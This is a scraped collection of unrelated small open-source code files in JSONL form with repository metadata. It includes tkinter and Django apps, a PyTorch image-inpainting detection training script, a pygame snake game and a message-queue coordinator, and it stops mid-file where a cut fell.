WPFControls.Grid.SetColumn(goButton, 0)\n goButton.Height = 30\n WPFControls.Grid.SetColumnSpan(goButton, 3)\n\n # Link a function to the Button \"Click\" event\n # This function will be called every time the Button is clicked\n goButton.Click += HandleApplyButton\n\n my_Grid.Children.Add(lbl01)\n my_Grid.Children.Add(input01)\n my_Grid.Children.Add(chkBox01)\n\n my_Grid.Children.Add(goButton)\n\n\n # Return the Grid\n return my_Grid\n\n\n# Apply button handler (Green check mark)\n# This function is called each time the Apply button is clicked\n@apex_sdk.errorhandler\ndef HandleApplyButton(sender, args):\n # Create a Dictionary to store the user defined tool data\n dictionary = {}\n dictionary[\"refDiam\"] = input01.Text\n dictionary[\"extendRegion\"] = chkBox01.IsChecked\n apex_sdk.runScriptFunction(os.path.join(current_file_path, r\"PickEdgeRefinementCODE.py\"), \"createRefRegion\", dictionary)\n","repo_name":"okigami/Toolkit_2021.1","sub_path":"Utilities-Palette/Tools/Pick Regions/src/PickEdgeRefinement.py","file_name":"PickEdgeRefinement.py","file_ext":"py","file_size_in_byte":6294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"21990726189","text":"from tkinter import *\nfrom tkinter.ttk import Treeview\n\nclass Tabla(Frame):\n def __init__(self, master):\n Frame.__init__(self, master)\n \n self.config(\n width=480,\n height=150,\n bg=\"#e7e6e1\"\n )\n\n # Asignamos el atributo de configuración que es el objeto al que observaremos\n self.configuracion = None\n\n # Creamos la tabla\n self.tabla_scrollbar = Scrollbar(self)\n self.tabla_scrollbar.pack(side=RIGHT, fill=Y)\n\n self.tabla = Treeview(self, columns=(\"Carpeta\", \"Similitud\"), yscrollcommand=self.tabla_scrollbar.set, selectmode=\"browse\")\n\n # Creamos las columnas\n self.tabla.column(\"#0\", width=150, anchor=CENTER)\n self.tabla.column(\"Carpeta\", width=150, anchor=CENTER)\n self.tabla.column(\"Similitud\", width=150, anchor=CENTER)\n\n # Editamos los cabeceros\n self.tabla.heading(\"#0\", text=\"Archivo\")\n self.tabla.heading(\"Carpeta\", text=\"Carpeta\")\n self.tabla.heading(\"Similitud\", text=\"Similitud\")\n\n self.tabla.pack()\n\n # Configuramos el scrollbar\n self.tabla_scrollbar.config(\n command=self.tabla.yview\n )\n \n def agregar_observado(self, observado):\n self.configuracion = observado\n \n def actualizar(self):\n if hasattr(self.configuracion, \"informacion\"):\n self.informacion_filas = self.configuracion.obtener_informacion_ordenamiento()\n \n self.actualizar_tabla(self.informacion_filas)\n \n def actualizar_tabla(self, informacion_filas):\n self.tabla.delete(*self.tabla.get_children())\n\n for informacion_fila in informacion_filas:\n self.tabla.insert(\"\", \"end\", text=informacion_fila[0], values=(informacion_fila[1], informacion_fila[2]))","repo_name":"LimbersMay/AppOrdenadorFicheros","sub_path":"principal/tabla.py","file_name":"tabla.py","file_ext":"py","file_size_in_byte":1809,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7298365917","text":"from gtts import gTTS\nfrom io import BytesIO\nfrom pydub import AudioSegment\nfrom pydub.playback import play\n\n\ndef talkrobot(words):\n # to text-to-audio with gTTS\n fp = BytesIO()\n tts = gTTS(words, lang='zh-CN')\n tts.write_to_fp(fp)\n fp.seek(0)\n # use pydub play the flow\n song = AudioSegment.from_file(fp, format=\"mp3\")\n play(song)\n\n\ndef main():\n while True:\n words = input()\n if words == 'stop':\n break\n talkrobot(words)\n\n\nif __name__ == '__main__':\n main()","repo_name":"yw673/Virtual-Caster","sub_path":"talkrobot.py","file_name":"talkrobot.py","file_ext":"py","file_size_in_byte":520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73615001331","text":"from django.http.response import HttpResponse, HttpResponseNotAllowed\nfrom django.shortcuts import get_object_or_404, redirect, render\nfrom .forms import PostPhotosForm\nfrom .models import PostPhotos, Post\n\n\ndef create_photos(request, id):\n print(id)\n post = Post.objects.get(id=id)\n photos = PostPhotos.objects.filter(post=post)\n form = PostPhotosForm()\n if request.method == \"POST\":\n print(\"debug1\")\n form=PostPhotosForm(request.POST, request.FILES)\n print(form)\n if form.is_valid():\n obj=form.save(commit=False)\n obj.post=post\n obj.save()\n return redirect(\"detail_photo\", id=obj.id)\n else:\n return render(request, \"socialpost/photo_form.html\", context={\n \"form\": form\n })\n\n context = {\n \"form\": form,\n \"post\": post,\n \"photos\": photos\n }\n\n return render(request, \"socialpost/add_image.html\", context)\n\ndef create_photo_form(request):\n form = PostPhotosForm()\n context = {\n \"form\": form\n }\n return render(request, \"socialpost/photo_form.html\", context)\n\ndef update_photo(request, id):\n photo = PostPhotos.objects.get(id=id)\n form = PostPhotosForm(request.POST or None,request.FILES, instance=photo)\n\n if request.method == \"POST\":\n form = PostPhotosForm(request.POST, request.FILES, instance=photo)\n if form.is_valid():\n form.save()\n return redirect(\"detail_photo\", id=photo.id)\n context = {\n \"form\": form,\n \"photo\": photo\n }\n\n return render(request, \"socialpost/photo_form.html\", context)\n\n\ndef delete_photo(request, id):\n photo = get_object_or_404(PostPhotos, id=id)\n\n if request.method == \"POST\":\n photo.delete()\n return HttpResponse(\"\")\n\n return HttpResponseNotAllowed(\n [\n \"POST\",\n ]\n )\n\n\ndef detail_photo(request, id):\n photo = get_object_or_404(PostPhotos, id=id)\n context = {\n \"photo\": photo\n }\n return render(request, \"socialpost/photo_details.html\", context)\n\n","repo_name":"Fahad-CSE16/DockerHTMX","sub_path":"socialpost/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2088,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"22717157994","text":"import tkinter as tk\nfrom tkinter import ttk\n\nfrom utils.Distribution_window import analysis\nfrom utils.Augmentation_window import augmentation\n\ndef main() ->int :\n\n # Create a Tkinter window\n window = tk.Tk()\n window.title(\"LeafFliction\")\n window.geometry(\"800x600\")\n \n # Création du widget Notebook\n notebook = ttk.Notebook(window)\n\n # Création des onglets\n onglet1 = tk.Frame(notebook)\n onglet2 = tk.Frame(notebook)\n onglet3 = tk.Frame(notebook)\n onglet4 = tk.Frame(notebook)\n\n # Ajout des onglets au widget Notebook\n notebook.add(onglet1, text=\"Analysis of the Data Set\")\n notebook.add(onglet2, text=\"Data augmentation\")\n notebook.add(onglet3, text=\"Image Transformation\")\n notebook.add(onglet4, text=\"Classification\")\n\n # Affichage du widget Notebook\n notebook.pack(expand=True, fill=\"both\")\n\n #Define option for selection\n leafFont = tk.LabelFrame(window, text=\"Leaf\")\n leafFont.pack(padx=100, pady=1)\n leafVar = tk.StringVar()\n leafVar.set(\"Select the Leaf\")\n options = [\"Apples\", \"Grapes\"]\n leafSelect = ttk.Combobox(leafFont, textvariable=leafVar, values=options, state=\"readonly\")\n leafSelect.pack()\n\n #Onglet Analysis / Distribution\n buttonAnalyse = tk.Button(onglet1, text=\"Analysis of the Data Set\", command=lambda:analysis(leafVar.get(), expVar.get()))\n\n #Onglet Augmentation\n expVar = tk.IntVar(value=0)\n tk.Radiobutton(onglet2, text=\"Flip\", font=(\"Arial\", 12), variable=expVar, value=0).pack(anchor=\"w\")\n tk.Radiobutton(onglet2, text=\"Rotate\", font=(\"Arial\", 12), variable=expVar, value=1).pack(anchor=\"w\")\n tk.Radiobutton(onglet2, text=\"Contrast\", font=(\"Arial\", 12), variable=expVar, value=2).pack(anchor=\"w\")\n tk.Radiobutton(onglet2, text=\"Brightness\", font=(\"Arial\", 12), variable=expVar, value=3).pack(anchor=\"w\")\n tk.Radiobutton(onglet2, text=\"Shear\", font=(\"Arial\", 12), variable=expVar, value=4).pack(anchor=\"w\")\n tk.Radiobutton(onglet2, text=\"Projection\", font=(\"Arial\", 12), variable=expVar, value=5).pack(anchor=\"w\")\n tk.Radiobutton(onglet2, text=\"Blur\", font=(\"Arial\", 12), variable=expVar, value=6).pack(anchor=\"w\")\n buttonAugmentation = tk.Button(onglet2, text=\"Data augmentation\", command=lambda:augmentation(leafVar.get(), expVar.get()))\n\n buttonAnalyse.pack()\n buttonAugmentation.pack()\n\n # Start the main event loop\n window.mainloop()\n return 0\n\nif __name__ == \"__main__\" :\n SystemExit(main()) \n","repo_name":"thervieu/leaffliction","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2376,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"70904137972","text":"from middleware.connection import Connection\nfrom communication.message_types import READY, NEW_CLIENT, RESTART\nfrom middleware.secure_connection.secure_rpc_receiver import SecureRpcReceiver\nfrom middleware.secure_connection.secure_direct_sender import SecureDirectSender\nfrom middleware.secure_connection.secure_rpc_sender import SecureRpcSender\n\nimport json\n\nclass Protocol:\n def __init__(self, recv_queue, send_queues, state_saver, place_manager_queue):\n self.connection = Connection()\n \n self.receiver = SecureRpcReceiver(recv_queue, self.connection)\n\n self.senders = []\n self.state_saver = state_saver\n\n for queue in send_queues:\n self.senders.append(SecureDirectSender(queue, self.connection))\n \n self.place_manager_sender = SecureRpcSender(place_manager_queue, Connection())\n\n def start_receiving(self, callback_restart, callback_new_client):\n self.callback_restart = callback_restart\n self.callback_new_client = callback_new_client\n\n self.receiver.start_receiving(self.data_read)\n\n def data_read(self, reply_to, cor_id, msg):\n [conn_id, msg_type] = json.loads(msg)\n print(\"Received {}\".format(msg))\n\n duplicate_message_id = conn_id + \"-\" + msg_type\n if self.state_saver.is_duplicated(\"STATE\", duplicate_message_id):\n print(\"Duplicated message: {}\".format(duplicate_message_id))\n return\n\n if msg_type == RESTART:\n self.state_saver.save_state(\"STATE\", duplicate_message_id, json.dumps([conn_id, \"RESTART\"]))\n self.callback_restart(conn_id)\n self.receiver.reply(cor_id, reply_to, READY)\n self.state_saver.save_state(\"STATE\", duplicate_message_id, json.dumps([conn_id, \"READY\"]))\n elif msg_type == NEW_CLIENT:\n reply = self.callback_new_client(conn_id)\n print(\"Replying to client: {}\".format(reply))\n print(\"Replying to queue: {}\".format(reply_to))\n self.receiver.reply(cor_id, reply_to, reply)\n print(\"Replied successfully\")\n self.state_saver.save_state(\"STATE\", duplicate_message_id, json.dumps([conn_id, \"BLOCKED\"]))\n\n def restart_all_senders(self, conn_id):\n self.place_manager_sender.send(json.dumps([RESTART, conn_id]))\n\n for sender in self.senders:\n sender.send(RESTART, conn_id)","repo_name":"fedefunes96/tp3-sistemas-distribuidos","sub_path":"coordinator_manager/protocol/protocol.py","file_name":"protocol.py","file_ext":"py","file_size_in_byte":2399,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"1940574554","text":"\"\"\"\nTrain implementation for HP - FCN.\n\nCode Implementation: Stavros Papadopoulos\nMay 2021\n\"\"\"\nfrom __future__ import annotations\nfrom numpy.core.fromnumeric import argmax\nfrom numpy.core.shape_base import block\nimport torch\nfrom torch import nn, optim\nimport torch.nn.functional as F\nfrom torch.optim import optimizer \nfrom torch.utils.data import Dataset\nimport numpy as np\nimport cv2\nimport os \nfrom torchvision import transforms\nimport torchvision.io.image\nfrom Datasets.custom_dataset import custom_dataset\nfrom torch.utils.data import Dataset, DataLoader, random_split\nimport resnet\nfrom log.visdom_logger import visdom_logger\nfrom log.plot import plot_img, plot_loss_val, plot_map \nfrom tqdm import tqdm\nimport matplotlib.pyplot as plt\n#from sklearn.metrics import precision_recall_fscore_support\nfrom ignite.metrics import Recall, Precision, IoU, ConfusionMatrix, confusion_matrix\nimport HRNet.lib.models.seg_hrnet as seg_hrnet\nimport HRNet.lib.config as my_config\nfrom iou import get_IoU as IoU \nfrom torchvision.utils import save_image\nfrom torchsummary import summary\n\nimport matplotlib.pyplot as plt\nfrom HRNet.lib.models import seg_hrnet\n\nimport argparse \n\ng_arg_parser = argparse.ArgumentParser()\ng_arg_parser.add_argument(\"--cfg\",type=str,default=R\"C:\\Users\\stavr\\Desktop\\thesis\\Src\\HRNet\\experiments\\cityscapes\\seg_hrnet_ocr_w48_train_512x1024_sgd_lr1e-2_wd5e-4_bs_12_epoch484.yaml\") \ng_arg_parser.add_argument('opts',type=str,default=None,nargs=argparse.REMAINDER)\ng_my_args = g_arg_parser.parse_args()\n\n\nclass InpaintingForensics():\n def __init__(self):\n \n self.vlogger = visdom_logger('inpainting forensics')\n self.device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n print(torch.cuda.is_available())\n # create the cnn network\n if net_type=='hp':\n self.net = resnet.ResNet(block=resnet.block)\n else:\n self.seg_hrnet_config = my_config.config\n my_config.update_config(self.seg_hrnet_config,args=g_my_args)\n self.net = seg_hrnet.HighResolutionNet(self.seg_hrnet_config)\n self.net.to(self.device)\n self.batch_size=4\n #set train, val and test dataset\n train_dataset = custom_dataset(data_src='did')\n train_dataset, val_dataset = random_split(train_dataset, (round(0.9*len(train_dataset)), round(0.1*len(train_dataset))))\n test_dataset= custom_dataset(data_src='default')\n\n\n #loads data from batch size = 1 when we use defactp as train data_src \n self.train_loader = DataLoader(dataset=train_dataset, batch_size=4, shuffle=True, num_workers=0)\n self.val_loader = DataLoader(dataset=val_dataset, batch_size=1, shuffle=False, num_workers=0)\n self.test_loader = DataLoader(dataset=test_dataset, batch_size=1, shuffle=False, num_workers=0)\n\n @staticmethod\n def create(type: str, weights: str) -> InpaintingForensics:\n res = InpaintingForensics()\n if type=='hp':\n res.net = resnet.ResNet(block=resnet.block)\n else:\n res.seg_hrnet_config = my_config.config\n my_config.update_config(res.seg_hrnet_config, args=g_my_args)\n res.net = seg_hrnet.HighResolutionNet(res.seg_hrnet_config)\n res.net.load_state_dict(torch.load(weights))\n return res\n \n def train(self):\n '''\n Steps of Training\n 1)Make a forward pass through the network\n #logits = model(images)\n 2)Use the network output to calculate the loss. \n # Calculate the loss with the logits and the labels\n # loss = criterion(logits, labels)\n 3)Perform a backward pass through the network with loss.backward() to calculate the gradients\n 4)Take a step with the optimizer to update the weights\n '''\n self.n_epochs = 10\n self.optimizer=optim.Adam(self.net.parameters(),lr=0.0001, weight_decay=0.00001) \n self.criterion = nn.BCELoss()\n train_losses, vld_losses = [], []\n scheduler = torch.optim.lr_scheduler.StepLR(self.optimizer, step_size=1, gamma=0.5)\n\n\n #best_auc = 0\n plot_counter_train=0\n plot_counter_vld=0\n\n for epoch in range(self.n_epochs):\n tot_train_loss = 0\n print(f\"Epoch: {epoch}. Learning rate {scheduler.get_lr()}\\r\")\n\n for i, data in tqdm(enumerate(self.train_loader, 0)):\n #print(f\"iteration {i}\\r\")\n # pass image and ground truth mask\n image, gt_mask = data[0].to(self.device), data[1].to(self.device)\n \n # zero the optimizer gradients\n self.optimizer.zero_grad()\n\n #forward pass & loss calculation\n output = self.net(image)\n #the following 3 only for hrnet\n if net_type=='hrnet':\n output = torch.sigmoid(output)\n h_init,w_init= image.shape[2], image.shape[3]\n output = F.interpolate(output, size=(h_init,w_init), mode='nearest')\n\n # calculate loss\n loss = self.criterion(output, gt_mask)\n tot_train_loss += loss.item()\n\n # bacward propagation \n loss.backward()\n\n # optimize step\n self.optimizer.step()\n\n #print (running_loss)\n if i % 100 == 0: #printe every 500 mini-batches\n print('[%d, %5d] loss: %.3f' %\n (epoch + 1, i + 1, tot_train_loss / (i+1)))\n plot_img(self.vlogger, image, 'input_image', mode='Train')\n plot_map(self.vlogger,output,'predicted mask',mode='Train') \n plot_map(self.vlogger,gt_mask,'GT mask',mode='Train')\n plot_loss_val(self.vlogger, loss.item(), plot_counter_train, ' Train Loss' ,mode= 'Train')\n plot_counter_train += 1\n \n else:\n #plot_counter_vld = 0\n tot_vld_loss = 0\n with torch.no_grad():\n for i, data in tqdm(enumerate(self.val_loader, 0)):\n image, gt_mask = data[0].to(self.device), data[1].to(self.device)\n vld_output = self.net(image)\n vld_output = torch.sigmoid(vld_output)\n h_init,w_init= image.shape[2], image.shape[3]\n vld_output = F.interpolate(vld_output, size=(h_init,w_init), mode='nearest')\n loss = self.criterion(vld_output, gt_mask)\n tot_vld_loss += loss.item()\n\n if i % 100 == 0: #print every 500 mini-batches\n print('[%d, %5d] loss: %.3f' %\n (epoch + 1, i + 1, tot_vld_loss / (i+1)))\n plot_img(self.vlogger, image, 'VLD input_image', mode='Evaluation')\n plot_map(self.vlogger,vld_output,'VLD predicted mask', mode='Evaluation') \n plot_map(self.vlogger,gt_mask,'VLD GT mask', mode='Evaluation')\n plot_loss_val(self.vlogger, loss.item(), plot_counter_vld, ' VLD Loss ', mode='Evaluation') \n plot_counter_vld += 1\n\n\n # Get mean loss to enable comparison between train and test sets\n train_loss = tot_train_loss / len(self.train_loader)\n vld_loss = tot_vld_loss / len(self.val_loader)\n\n # At completion of epoch\n train_losses.append(train_loss)\n vld_losses.append(vld_loss)\n #plot_loss_val(self.vlogger, train_losses[-1], epoch + 1, ' Training Loss ', mode='Train') \n #plot_loss_val(self.vlogger, vld_losses[-1], epoch + 1, ' VLD Loss ', mode='Evaluation') \n\n\n print(\"Epoch: {}/{}.. \".format(epoch + 1 , self.n_epochs),\n \"Training Loss: {:.3f}.. \".format(train_losses[-1]),\n \"vld Loss: {:.3f}.. \".format(vld_losses[-1]))\n scheduler.step()\n #if epoch> 30:\n #scheduler.step()\n\n print ('Finished Training\\r')\n print (f\" Training Loss {train_loss}\\r\")\n print (f\" Valid Loss {vld_loss}\\r\")\n\n \n #path = R'C:\\Users\\stavr\\Desktop\\thesis\\Src\\savedmodels\\hrnet_trained_defacto_e50.ckp'\n #torch.save(self.net.state_dict(),path)\n\n def test(self):\n path = './savedmodels/hrnet_trained_did_e50.ckp'\n #gt_path_to_save='C:/Users/stavr/Desktop/thesis/Experiments/hp/DID/50 epoch/test predictions/th_50/gt_masks/'\n pr_path_to_save='C:/Users/stavr/Desktop/thesis/Experiments/hp/DID/50 epoch/test predictions/th_75/pr_masks/'\n if net_type=='hp':\n self.net = resnet.ResNet(block=resnet.block).cuda()\n else:\n self.seg_hrnet_config = my_config.config\n my_config.update_config(self.seg_hrnet_config,args=g_my_args)\n self.net = seg_hrnet.HighResolutionNet(self.seg_hrnet_config)\n print(self.net)\n self.net.to(self.device)\n self.net.load_state_dict(torch.load(path))\n self.net.eval()\n summary(self.net,(1,1,224,224))\n # since we're not training, we don't need to calculate the gradients for our outputs\n with torch.no_grad():\n recall = Recall()\n precision = Precision()\n recall.reset()\n precision.reset()\n total_iou=0\n for i,data in tqdm(enumerate(self.test_loader, 0)):\n print(i, end='\\r')\n images, gt_mask = data[0].to(self.device), data[1].to(self.device)\n # calculate outputs by running images through the network\n outputs = self.net(images)\n outputs = torch.sigmoid(outputs)\n if net_type=='hrnet':\n h_init,w_init= images.shape[2], images.shape[3]\n outputs = F.interpolate(outputs, size=(h_init,w_init), mode='nearest')\n outputs = torch.round(abs(outputs-0.75+0.5))\n gt_mask = torch.round(abs(gt_mask-0.75+0.5))\n #outputs[outputs>=0.65] = 1\n #outputs[outputs<0.65] = 0\n plot_map(self.vlogger,outputs,'Output mask', mode='Evaluation') \n plot_map(self.vlogger,gt_mask,'GT mask', mode='Evaluation') \n recall.update((outputs, gt_mask))\n precision.update((outputs, gt_mask))\n iou_instict=IoU(outputs,gt_mask)\n total_iou= iou_instict +total_iou\n\n if i % 100 == 0: #print every 500 mini-batches\n plot_img(self.vlogger, images, 'Test input_image', mode='Evaluation')\n plot_map(self.vlogger,outputs,'Test predicted mask', mode='Evaluation') \n plot_map(self.vlogger,gt_mask,'Test GT mask', mode='Evaluation')\n #plot_loss_val(self.vlogger, recall, i, ' Recall ', mode='Evaluation')\n \n pr_save_path = os.path.join(pr_path_to_save,f'{i}'+'_pred.png')\n #gt_save_path = os.path.join(gt_path_to_save,f'{i}'+'_gtmask.png')\n outputs=outputs[0]\n save_image(outputs,pr_save_path)\n #gt_mask=gt_mask[0]\n #save_image(gt_mask,gt_save_path)\n \n total_recall = recall.compute()\n total_precision = precision.compute()\n F1 = (total_precision * total_recall * 2 / (total_precision + total_recall)).mean()\n total_iou= total_iou/2000\n print(f'total recall {total_recall}, precision {total_precision}, F1 {F1}, IoU {total_iou}')\n\nif __name__=='__main__':\n mode='train'\n net_type='hrnet'\n exp=InpaintingForensics()\n if mode == 'train':\n exp.train()\n elif mode =='test':\n exp.test()\n \n\n\n\n\n","repo_name":"stavros-p/image_inpainting_detection","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":12000,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"197527187","text":"# Snake 2.0 .py\r\n# Joey LaRocca\r\n# 4/25/2016\r\n\r\n'''\r\nBasic Snake Game with an Acorn\r\n'''\r\n\r\n\r\nimport random\r\nimport pygame\r\nimport sys\r\nfrom pygame.locals import *\r\n\r\nSnakespeed= 15\r\nWindow_Width= 800\r\nWindow_Height= 500\r\nCell_Size = 20 #Width and height of the cells\r\nassert Window_Width % Cell_Size == 0, \"Window width must be a multiple of cell size.\" #Ensuring that the cells fit perfectly in the window. eg if cell size was 10 and window width or windowheight were 15 only 1.5 cells would fit.\r\nassert Window_Height % Cell_Size == 0, \"Window height must be a multiple of cell size.\" #Ensuring that only whole integer number of cells fit perfectly in the window.\r\nCell_W= int(Window_Width / Cell_Size) #Cell Width \r\nCell_H= int(Window_Height / Cell_Size) #Cellc Height\r\n\r\n\r\nWhite= (255,255,255)\r\nBlack= (0,0,0)\r\nBrown= (139,69,19) #Defining element colors for the program.\r\nGreen= (0,255,0)\r\nDARKGreen= (0,155,0)\r\nDARKGRAY= (40,40,40)\r\nYELLOW= (255,255,0)\r\nRed_DARK= (150,0,0)\r\nBLUE= (0,0,255)\r\nBLUE_DARK= (0,0,150)\r\n\r\n\r\nBGCOLOR = Black # Background color\r\n\r\n\r\nUP = 'up'\r\nDOWN = 'down' # Defining keyboard keys. \r\nLEFT = 'left'\r\nRIGHT = 'right'\r\n\r\nHEAD = 0 # Syntactic sugar: index of the snake's head\r\n\r\ndef main():\r\n global SnakespeedCLOCK, DISPLAYSURF, BASICFONT\r\n\r\n pygame.init()\r\n SnakespeedCLOCK = pygame.time.Clock()\r\n DISPLAYSURF = pygame.display.set_mode((Window_Width, Window_Height))\r\n BASICFONT = pygame.font.Font('freesansbold.ttf', 18)\r\n pygame.display.set_caption('Snake')\r\n\r\n while True:\r\n runGame()\r\n\r\n\r\ndef runGame():\r\n # Set a random start point.\r\n startx = random.randint(5, Cell_W - 6)\r\n starty = random.randint(5, Cell_H - 6)\r\n snakeCoords = [{'x': startx, 'y': starty},\r\n {'x': startx - 1, 'y': starty},\r\n {'x': startx - 2, 'y': starty}]\r\n direction = RIGHT\r\n\r\n # Start the acorn in a random place.\r\n acorn = getRandomLocation()\r\n\r\n while True: # main game loop\r\n for event in pygame.event.get(): # event handling loop\r\n if event.type == QUIT:\r\n terminate()\r\n elif event.type == KEYDOWN:\r\n if (event.key == K_LEFT ) and direction != RIGHT:\r\n direction = LEFT\r\n elif (event.key == K_RIGHT ) and direction != LEFT:\r\n direction = RIGHT\r\n elif (event.key == K_UP ) and direction != DOWN:\r\n direction = UP\r\n elif (event.key == K_DOWN ) and direction != UP:\r\n direction = DOWN\r\n elif event.key == K_ESCAPE:\r\n terminate()\r\n\r\n # check if the Snake has hit itself or the edge\r\n if snakeCoords[HEAD]['x'] == -1 or snakeCoords[HEAD]['x'] == Cell_W or snakeCoords[HEAD]['y'] == -1 or snakeCoords[HEAD]['y'] == Cell_H:\r\n return # game over \r\n for snakeBody in snakeCoords[1:]:\r\n if snakeBody['x'] == snakeCoords[HEAD]['x'] and snakeBody['y'] == snakeCoords[HEAD] ['y']: \r\n return # game over\r\n\r\n # check if Snake has eaten an acorn\r\n if snakeCoords[HEAD]['x'] == acorn['x'] and snakeCoords[HEAD]['y'] == acorn['y']:\r\n # don't remove snake's tail segment\r\n acorn = getRandomLocation() # set a new acorn somewhere\r\n else:\r\n del snakeCoords[-1] # remove snake's tail segment\r\n\r\n # move the snake by adding a segment in the direction it is moving\r\n if direction == UP:\r\n newHead = {'x': snakeCoords[HEAD]['x'], 'y': snakeCoords[HEAD]['y'] - 1}\r\n elif direction == DOWN:\r\n newHead = {'x': snakeCoords[HEAD]['x'], 'y': snakeCoords[HEAD]['y'] + 1}\r\n elif direction == LEFT:\r\n newHead = {'x': snakeCoords[HEAD]['x'] - 1, 'y': snakeCoords[HEAD]['y']}\r\n elif direction == RIGHT:\r\n newHead = {'x': snakeCoords[HEAD]['x'] + 1, 'y': snakeCoords[HEAD]['y']}\r\n snakeCoords.insert(0, newHead)\r\n DISPLAYSURF.fill(BGCOLOR)\r\n drawGrid()\r\n drawSnake(snakeCoords)\r\n drawAcorn(acorn)\r\n drawScore(len(snakeCoords) - 3)\r\n pygame.display.update()\r\n SnakespeedCLOCK.tick(Snakespeed)\r\n\r\ndef terminate():\r\n pygame.quit()\r\n sys.exit()\r\n\r\n\r\ndef getRandomLocation():\r\n return {'x': random.randint(0, Cell_W - 1), 'y': random.randint(0, Cell_H - 1)}\r\n\r\n\r\n\r\ndef drawScore(score):\r\n scoreSurf = BASICFONT.render('Score: %s' % (score), True, White)\r\n scoreRect = scoreSurf.get_rect()\r\n scoreRect.topleft = (Window_Width - 120, 10)\r\n DISPLAYSURF.blit(scoreSurf, scoreRect)\r\n\r\n\r\ndef drawSnake(snakeCoords):\r\n for coord in snakeCoords:\r\n x = coord['x'] * Cell_Size\r\n y = coord['y'] * Cell_Size\r\n snakeSegmentRect = pygame.Rect(x, y, Cell_Size, Cell_Size)\r\n pygame.draw.rect(DISPLAYSURF, DARKGreen, snakeSegmentRect)\r\n snakeInnerSegmentRect = pygame.Rect(x + 4, y + 4, Cell_Size - 8, Cell_Size - 8)\r\n pygame.draw.rect(DISPLAYSURF, Green, snakeInnerSegmentRect)\r\n\r\n\r\ndef drawAcorn(coord):\r\n x = coord['x'] * Cell_Size\r\n y = coord['y'] * Cell_Size\r\n acornRect = pygame.Rect(x, y, Cell_Size, Cell_Size)\r\n pygame.draw.rect(DISPLAYSURF, Brown, acornRect)\r\n\r\n\r\ndef drawGrid():\r\n for x in range(0, Window_Width, Cell_Size): # draw vertical lines\r\n pygame.draw.line(DISPLAYSURF, DARKGRAY, (x, 0), (x, Window_Height))\r\n for y in range(0, Window_Height, Cell_Size): # draw horizontal lines\r\n pygame.draw.line(DISPLAYSURF, DARKGRAY, (0, y), (Window_Width, y))\r\n\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n try:\r\n main()\r\n except SystemExit:\r\n pass\r\n","repo_name":"JoeyLaRocca/CIS-Project","sub_path":"Snake 2.0.py","file_name":"Snake 2.0.py","file_ext":"py","file_size_in_byte":5700,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18952640095","text":"\"\"\"\nGiven a 2D integer array matrix, return the transpose of matrix.\n\nThe transpose of a matrix is the matrix flipped over its main diagonal, switching the matrix's row and column indices.\n\n\"\"\"\n\n \ndef transpose(matrix):\n #0,0 => 0, 0\n #0,1 => 1, 0\n #0,2 => 2, 0\n# #flip y, x\n# matrix_grid = [[0] * len(matrix) for row in matrix]\n \n transpose = []\n for i in range(len(matrix[0])):\n row=[]\n for j in range(len(matrix)):\n row.append(matrix[j][i])\n transpose.append(row)\n return transpose","repo_name":"sshantel/leetcode","sub_path":"867_transpose_matrix.py","file_name":"867_transpose_matrix.py","file_ext":"py","file_size_in_byte":557,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4017039178","text":"__author__ = 'Ralph van der Neut'\nimport pandas as pd\nfrom pandas import DataFrame\n\nboodschappen = pd.read_csv(\"D:/Code/Blog/MachineLearning/MachineLearning/Data/boodschappen/boodschappen.csv\",header=None, prefix=\"V\") #tussen de haken staat locatie van document.\n#code print 5 eerste regels\nprint(boodschappen.head())\n#code print 5 laatste regels\nprint(boodschappen.tail())\nsummary = boodschappen.describe()\n#code print samenvatting eigenschappen \nprint(summary)","repo_name":"ralphprogrammeert/MachineLearning","sub_path":"Data/data-inlezen-python.py","file_name":"data-inlezen-python.py","file_ext":"py","file_size_in_byte":462,"program_lang":"python","lang":"nl","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"31974814603","text":"from django.shortcuts import render\n\n# Create your views here\n\n\n\ndef footerdash(request, *args, **kwargs):\n context = {\n \"about_us\": \"این سایت فروشگاهی به وسیله ی django ایجاد شده است\"\n }\n return render(request, 'shared/footerdash.html', context)\n\ndef sidebardash(request, *args, **kwargs):\n context = {\n \"about_us\": \"این سایت فروشگاهی به وسیله ی django ایجاد شده است\"\n }\n return render(request, 'shared/sidebardash.html', context)\n\n\ndef dashboard(request):\n context = {\n 'data': 'به قسمت پیشخوان خوش آمدید'\n }\n return render(request,'dashboard.html', context)\n\n\ndef dashboardaddlisting(request):\n context = {\n 'data': 'به قسمت پیشخوان خوش آمدید'\n }\n return render(request,'dashboardaddlisting.html', context)\n\n\ndef dashboardreviews(request):\n context = {\n 'data': 'به قسمت پیشخوان خوش آمدید'\n }\n return render(request,'dashboardreviews.html', context)\n\n\ndef dashboardlisting(request):\n context = {\n }\n return render(request,'dashboardlisting.html', context)\n\n\n\ndef dashboardwishlist(request):\n context = {\n 'data': 'به قسمت پیشخوان خوش آمدید'\n }\n return render(request,'dashboardwishlist.html', context)\n\n\ndef dashboardusers(request):\n context = {\n 'data': 'به قسمت پیشخوان خوش آمدید'\n }\n return render(request,'dashboardusers.html', context)\n\n\ndef dashboardmyprofile(request):\n context = {\n 'data': 'به قسمت پیشخوان خوش آمدید'\n }\n return render(request,'dashboardmyprofile.html', 